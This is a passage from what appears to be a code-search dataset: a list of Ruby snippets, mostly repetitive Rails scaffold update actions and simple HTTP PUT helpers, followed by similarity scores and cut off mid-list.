"def update\n @post156 = Post156.find(params[:id])\n\n respond_to do |format|\n if @post156.update_attributes(params[:post156])\n format.html { redirect_to(@post156, :notice => 'Post156 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post156.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post181 = Post181.find(params[:id])\n\n respond_to do |format|\n if @post181.update_attributes(params[:post181])\n format.html { redirect_to(@post181, :notice => 'Post181 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post181.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post275 = Post275.find(params[:id])\n\n respond_to do |format|\n if @post275.update_attributes(params[:post275])\n format.html { redirect_to(@post275, :notice => 'Post275 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post275.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post231 = Post231.find(params[:id])\n\n respond_to do |format|\n if @post231.update_attributes(params[:post231])\n format.html { redirect_to(@post231, :notice => 'Post231 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post231.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n flash[:notice] = 'Post was successfully updated.'\n format.html { redirect_to(@post) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n make_rss\n end",
"def update\n @post125 = Post125.find(params[:id])\n\n respond_to do |format|\n if @post125.update_attributes(params[:post125])\n format.html { redirect_to(@post125, :notice => 'Post125 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post125.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post183 = Post183.find(params[:id])\n\n respond_to do |format|\n if @post183.update_attributes(params[:post183])\n format.html { redirect_to(@post183, :notice => 'Post183 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post183.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post120 = Post120.find(params[:id])\n\n respond_to do |format|\n if @post120.update_attributes(params[:post120])\n format.html { redirect_to(@post120, :notice => 'Post120 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post120.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post57 = Post57.find(params[:id])\n\n respond_to do |format|\n if @post57.update_attributes(params[:post57])\n format.html { redirect_to(@post57, :notice => 'Post57 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post57.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post174 = Post174.find(params[:id])\n\n respond_to do |format|\n if @post174.update_attributes(params[:post174])\n format.html { redirect_to(@post174, :notice => 'Post174 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post174.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @post253 = Post253.find(params[:id])\n\n respond_to do |format|\n if @post253.update_attributes(params[:post253])\n format.html { redirect_to(@post253, :notice => 'Post253 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post253.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n @post193 = Post193.find(params[:id])\n\n respond_to do |format|\n if @post193.update_attributes(params[:post193])\n format.html { redirect_to(@post193, :notice => 'Post193 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post193.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post78 = Post78.find(params[:id])\n\n respond_to do |format|\n if @post78.update_attributes(params[:post78])\n format.html { redirect_to(@post78, :notice => 'Post78 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post78.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post133 = Post133.find(params[:id])\n\n respond_to do |format|\n if @post133.update_attributes(params[:post133])\n format.html { redirect_to(@post133, :notice => 'Post133 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post133.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end",
"def post\n doc = Nokogiri::XML(request.body)\n id= (doc/'id').text\n # p = Post.exists?(id) ? Post.find(id) : Post.new\n p= Post.find_or_create_by_intranet_id id\n p.update_attributes :subject => (doc/'subject').text,\n :body => (doc/'body').text, :post_type => (doc/'post-type').text,\n :pic => (doc/'pic') .text, :begin_on=>(doc/'begin-on').text,\n :pic_postimg => (doc/'pic-postimg').text,\n :video => (doc/'video').text, \n :end_on => (doc/'end-on').text, :stick => (doc/'stick').text \n render :text => \"ok\"\n end",
"def update\n @post105 = Post105.find(params[:id])\n\n respond_to do |format|\n if @post105.update_attributes(params[:post105])\n format.html { redirect_to(@post105, :notice => 'Post105 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post105.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n @post75 = Post75.find(params[:id])\n\n respond_to do |format|\n if @post75.update_attributes(params[:post75])\n format.html { redirect_to(@post75, :notice => 'Post75 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post75.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post150 = Post150.find(params[:id])\n\n respond_to do |format|\n if @post150.update_attributes(params[:post150])\n format.html { redirect_to(@post150, :notice => 'Post150 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post150.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post328 = Post328.find(params[:id])\n\n respond_to do |format|\n if @post328.update_attributes(params[:post328])\n format.html { redirect_to(@post328, :notice => 'Post328 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post328.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post251 = Post251.find(params[:id])\n\n respond_to do |format|\n if @post251.update_attributes(params[:post251])\n format.html { redirect_to(@post251, :notice => 'Post251 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post251.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post81 = Post81.find(params[:id])\n\n respond_to do |format|\n if @post81.update_attributes(params[:post81])\n format.html { redirect_to(@post81, :notice => 'Post81 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post81.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post245 = Post245.find(params[:id])\n\n respond_to do |format|\n if @post245.update_attributes(params[:post245])\n format.html { redirect_to(@post245, :notice => 'Post245 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post245.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post101 = Post101.find(params[:id])\n\n respond_to do |format|\n if @post101.update_attributes(params[:post101])\n format.html { redirect_to(@post101, :notice => 'Post101 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post101.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post107 = Post107.find(params[:id])\n\n respond_to do |format|\n if @post107.update_attributes(params[:post107])\n format.html { redirect_to(@post107, :notice => 'Post107 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post107.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post143 = Post143.find(params[:id])\n\n respond_to do |format|\n if @post143.update_attributes(params[:post143])\n format.html { redirect_to(@post143, :notice => 'Post143 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post143.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post227 = Post227.find(params[:id])\n\n respond_to do |format|\n if @post227.update_attributes(params[:post227])\n format.html { redirect_to(@post227, :notice => 'Post227 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post227.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post74 = Post74.find(params[:id])\n\n respond_to do |format|\n if @post74.update_attributes(params[:post74])\n format.html { redirect_to(@post74, :notice => 'Post74 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post74.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post295 = Post295.find(params[:id])\n\n respond_to do |format|\n if @post295.update_attributes(params[:post295])\n format.html { redirect_to(@post295, :notice => 'Post295 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post295.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post267 = Post267.find(params[:id])\n\n respond_to do |format|\n if @post267.update_attributes(params[:post267])\n format.html { redirect_to(@post267, :notice => 'Post267 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post267.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post273 = Post273.find(params[:id])\n\n respond_to do |format|\n if @post273.update_attributes(params[:post273])\n format.html { redirect_to(@post273, :notice => 'Post273 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post273.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post246 = Post246.find(params[:id])\n\n respond_to do |format|\n if @post246.update_attributes(params[:post246])\n format.html { redirect_to(@post246, :notice => 'Post246 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post246.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post284 = Post284.find(params[:id])\n\n respond_to do |format|\n if @post284.update_attributes(params[:post284])\n format.html { redirect_to(@post284, :notice => 'Post284 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post284.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post168 = Post168.find(params[:id])\n\n respond_to do |format|\n if @post168.update_attributes(params[:post168])\n format.html { redirect_to(@post168, :notice => 'Post168 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post168.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post77 = Post77.find(params[:id])\n\n respond_to do |format|\n if @post77.update_attributes(params[:post77])\n format.html { redirect_to(@post77, :notice => 'Post77 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post77.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post335 = Post335.find(params[:id])\n\n respond_to do |format|\n if @post335.update_attributes(params[:post335])\n format.html { redirect_to(@post335, :notice => 'Post335 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post335.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @onpost = Onpost.find(params[:id])\n\n respond_to do |format|\n if @onpost.update_attributes(params[:onpost])\n flash[:notice] = 'Onpost was successfully updated.'\n format.html { redirect_to(@onpost) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @onpost.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post197 = Post197.find(params[:id])\n\n respond_to do |format|\n if @post197.update_attributes(params[:post197])\n format.html { redirect_to(@post197, :notice => 'Post197 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post197.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post321 = Post321.find(params[:id])\n\n respond_to do |format|\n if @post321.update_attributes(params[:post321])\n format.html { redirect_to(@post321, :notice => 'Post321 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post321.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post483 = Post483.find(params[:id])\n\n respond_to do |format|\n if @post483.update_attributes(params[:post483])\n format.html { redirect_to(@post483, :notice => 'Post483 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post483.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post85 = Post85.find(params[:id])\n\n respond_to do |format|\n if @post85.update_attributes(params[:post85])\n format.html { redirect_to(@post85, :notice => 'Post85 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post85.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post217 = Post217.find(params[:id])\n\n respond_to do |format|\n if @post217.update_attributes(params[:post217])\n format.html { redirect_to(@post217, :notice => 'Post217 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post217.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post257 = Post257.find(params[:id])\n\n respond_to do |format|\n if @post257.update_attributes(params[:post257])\n format.html { redirect_to(@post257, :notice => 'Post257 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post257.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post122 = Post122.find(params[:id])\n\n respond_to do |format|\n if @post122.update_attributes(params[:post122])\n format.html { redirect_to(@post122, :notice => 'Post122 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post122.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def template_update(id, type, filename)\n check_id_or_raise id\n check_template_type_or_raise type\n check_filename_or_raise filename\n response = http_request_multipart :put, @base_url + \"/templates/#{id}.xml\", 200,\n { :provider_key => @provider_key,\n :draft => File.read(filename), \n :multipart => true}\n puts 'at update call'\n _id, _updated_at = parse_response response, type\n response = http_request :put, \"#{@base_url}/templates/#{id}/publish\", 200,\n { :params => { :provider_key => @provider_key } }\n puts 'at publish call'\n parse_response response, 'page'\n end",
"def update\n @post221 = Post221.find(params[:id])\n\n respond_to do |format|\n if @post221.update_attributes(params[:post221])\n format.html { redirect_to(@post221, :notice => 'Post221 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post221.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post262 = Post262.find(params[:id])\n\n respond_to do |format|\n if @post262.update_attributes(params[:post262])\n format.html { redirect_to(@post262, :notice => 'Post262 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post262.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update\n @post72 = Post72.find(params[:id])\n\n respond_to do |format|\n if @post72.update_attributes(params[:post72])\n format.html { redirect_to(@post72, :notice => 'Post72 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post72.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post326 = Post326.find(params[:id])\n\n respond_to do |format|\n if @post326.update_attributes(params[:post326])\n format.html { redirect_to(@post326, :notice => 'Post326 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post326.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post445 = Post445.find(params[:id])\n\n respond_to do |format|\n if @post445.update_attributes(params[:post445])\n format.html { redirect_to(@post445, :notice => 'Post445 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post445.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post41 = Post41.find(params[:id])\n\n respond_to do |format|\n if @post41.update_attributes(params[:post41])\n format.html { redirect_to(@post41, :notice => 'Post41 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post41.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post272 = Post272.find(params[:id])\n\n respond_to do |format|\n if @post272.update_attributes(params[:post272])\n format.html { redirect_to(@post272, :notice => 'Post272 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post272.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post134 = Post134.find(params[:id])\n\n respond_to do |format|\n if @post134.update_attributes(params[:post134])\n format.html { redirect_to(@post134, :notice => 'Post134 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post134.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to(@post, :notice => 'Post was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post55 = Post55.find(params[:id])\n\n respond_to do |format|\n if @post55.update_attributes(params[:post55])\n format.html { redirect_to(@post55, :notice => 'Post55 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post55.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request(:put, *args)\n end",
"def update\n @post297 = Post297.find(params[:id])\n\n respond_to do |format|\n if @post297.update_attributes(params[:post297])\n format.html { redirect_to(@post297, :notice => 'Post297 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post297.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post184 = Post184.find(params[:id])\n\n respond_to do |format|\n if @post184.update_attributes(params[:post184])\n format.html { redirect_to(@post184, :notice => 'Post184 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post184.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if post.update_attributes(params[:post])\n flash[:success] = t('post.updated')\n format.html { redirect_to(polymorphic_path([ postable.container, postable ], :anchor => dom_id(@post))) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post33 = Post33.find(params[:id])\n\n respond_to do |format|\n if @post33.update_attributes(params[:post33])\n format.html { redirect_to(@post33, :notice => 'Post33 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post33.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post66 = Post66.find(params[:id])\n\n respond_to do |format|\n if @post66.update_attributes(params[:post66])\n format.html { redirect_to(@post66, :notice => 'Post66 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post66.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post65 = Post65.find(params[:id])\n\n respond_to do |format|\n if @post65.update_attributes(params[:post65])\n format.html { redirect_to(@post65, :notice => 'Post65 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post65.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post377 = Post377.find(params[:id])\n\n respond_to do |format|\n if @post377.update_attributes(params[:post377])\n format.html { redirect_to(@post377, :notice => 'Post377 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post377.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Put.new(uri)\n req.body = document.to_json\n run(uri, req)\n end",
"def update\n @post139 = Post139.find(params[:id])\n\n respond_to do |format|\n if @post139.update_attributes(params[:post139])\n format.html { redirect_to(@post139, :notice => 'Post139 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post139.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post109 = Post109.find(params[:id])\n\n respond_to do |format|\n if @post109.update_attributes(params[:post109])\n format.html { redirect_to(@post109, :notice => 'Post109 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post109.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post342 = Post342.find(params[:id])\n\n respond_to do |format|\n if @post342.update_attributes(params[:post342])\n format.html { redirect_to(@post342, :notice => 'Post342 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post342.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post176 = Post176.find(params[:id])\n\n respond_to do |format|\n if @post176.update_attributes(params[:post176])\n format.html { redirect_to(@post176, :notice => 'Post176 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post176.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post149 = Post149.find(params[:id])\n\n respond_to do |format|\n if @post149.update_attributes(params[:post149])\n format.html { redirect_to(@post149, :notice => 'Post149 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post149.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def update\n @post481 = Post481.find(params[:id])\n\n respond_to do |format|\n if @post481.update_attributes(params[:post481])\n format.html { redirect_to(@post481, :notice => 'Post481 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post481.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post154 = Post154.find(params[:id])\n\n respond_to do |format|\n if @post154.update_attributes(params[:post154])\n format.html { redirect_to(@post154, :notice => 'Post154 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post154.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post110 = Post110.find(params[:id])\n\n respond_to do |format|\n if @post110.update_attributes(params[:post110])\n format.html { redirect_to(@post110, :notice => 'Post110 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post110.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post191 = Post191.find(params[:id])\n\n respond_to do |format|\n if @post191.update_attributes(params[:post191])\n format.html { redirect_to(@post191, :notice => 'Post191 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post191.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post453 = Post453.find(params[:id])\n\n respond_to do |format|\n if @post453.update_attributes(params[:post453])\n format.html { redirect_to(@post453, :notice => 'Post453 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post453.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post130 = Post130.find(params[:id])\n\n respond_to do |format|\n if @post130.update_attributes(params[:post130])\n format.html { redirect_to(@post130, :notice => 'Post130 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post130.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post341 = Post341.find(params[:id])\n\n respond_to do |format|\n if @post341.update_attributes(params[:post341])\n format.html { redirect_to(@post341, :notice => 'Post341 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post341.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to(\"/#{@post.url}\", :notice => t('controller.updated')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post129 = Post129.find(params[:id])\n\n respond_to do |format|\n if @post129.update_attributes(params[:post129])\n format.html { redirect_to(@post129, :notice => 'Post129 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post129.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post350 = Post350.find(params[:id])\n\n respond_to do |format|\n if @post350.update_attributes(params[:post350])\n format.html { redirect_to(@post350, :notice => 'Post350 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post350.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end",
"def update\n @post288 = Post288.find(params[:id])\n\n respond_to do |format|\n if @post288.update_attributes(params[:post288])\n format.html { redirect_to(@post288, :notice => 'Post288 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post288.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post436 = Post436.find(params[:id])\n\n respond_to do |format|\n if @post436.update_attributes(params[:post436])\n format.html { redirect_to(@post436, :notice => 'Post436 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post436.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def update\n @post472 = Post472.find(params[:id])\n\n respond_to do |format|\n if @post472.update_attributes(params[:post472])\n format.html { redirect_to(@post472, :notice => 'Post472 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post472.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.67678404",
"0.66173536",
"0.6266552",
"0.61783946",
"0.61027867",
"0.59287935",
"0.59222645",
"0.58906674",
"0.58421564",
"0.58337575",
"0.5825395",
"0.5824342",
"0.5819265",
"0.5790514",
"0.5786169",
"0.5784403",
"0.57778794",
"0.5777686",
"0.5771373",
"0.5770281",
"0.5769581",
"0.5761889",
"0.57363933",
"0.57352585",
"0.5733682",
"0.5716916",
"0.5703309",
"0.5696782",
"0.56931233",
"0.56849855",
"0.56827897",
"0.5681004",
"0.5679475",
"0.5679446",
"0.5679113",
"0.56789935",
"0.5669397",
"0.5668415",
"0.56650317",
"0.5662393",
"0.56525666",
"0.56502783",
"0.5643852",
"0.5639025",
"0.5628446",
"0.5626603",
"0.56204295",
"0.56002045",
"0.55952144",
"0.5591423",
"0.55877954",
"0.55826783",
"0.55804944",
"0.55798674",
"0.5576332",
"0.5574423",
"0.5570435",
"0.5567567",
"0.5554492",
"0.55389106",
"0.55356634",
"0.5531016",
"0.5526318",
"0.55187005",
"0.55174726",
"0.5513204",
"0.5512169",
"0.5501465",
"0.54998094",
"0.5499362",
"0.5499236",
"0.5496813",
"0.5488582",
"0.5482325",
"0.54795706",
"0.5472158",
"0.5470661",
"0.5469549",
"0.54643685",
"0.54621553",
"0.5460889",
"0.54593086",
"0.5455317",
"0.54496235",
"0.54493725",
"0.5447691",
"0.5444058",
"0.54411185",
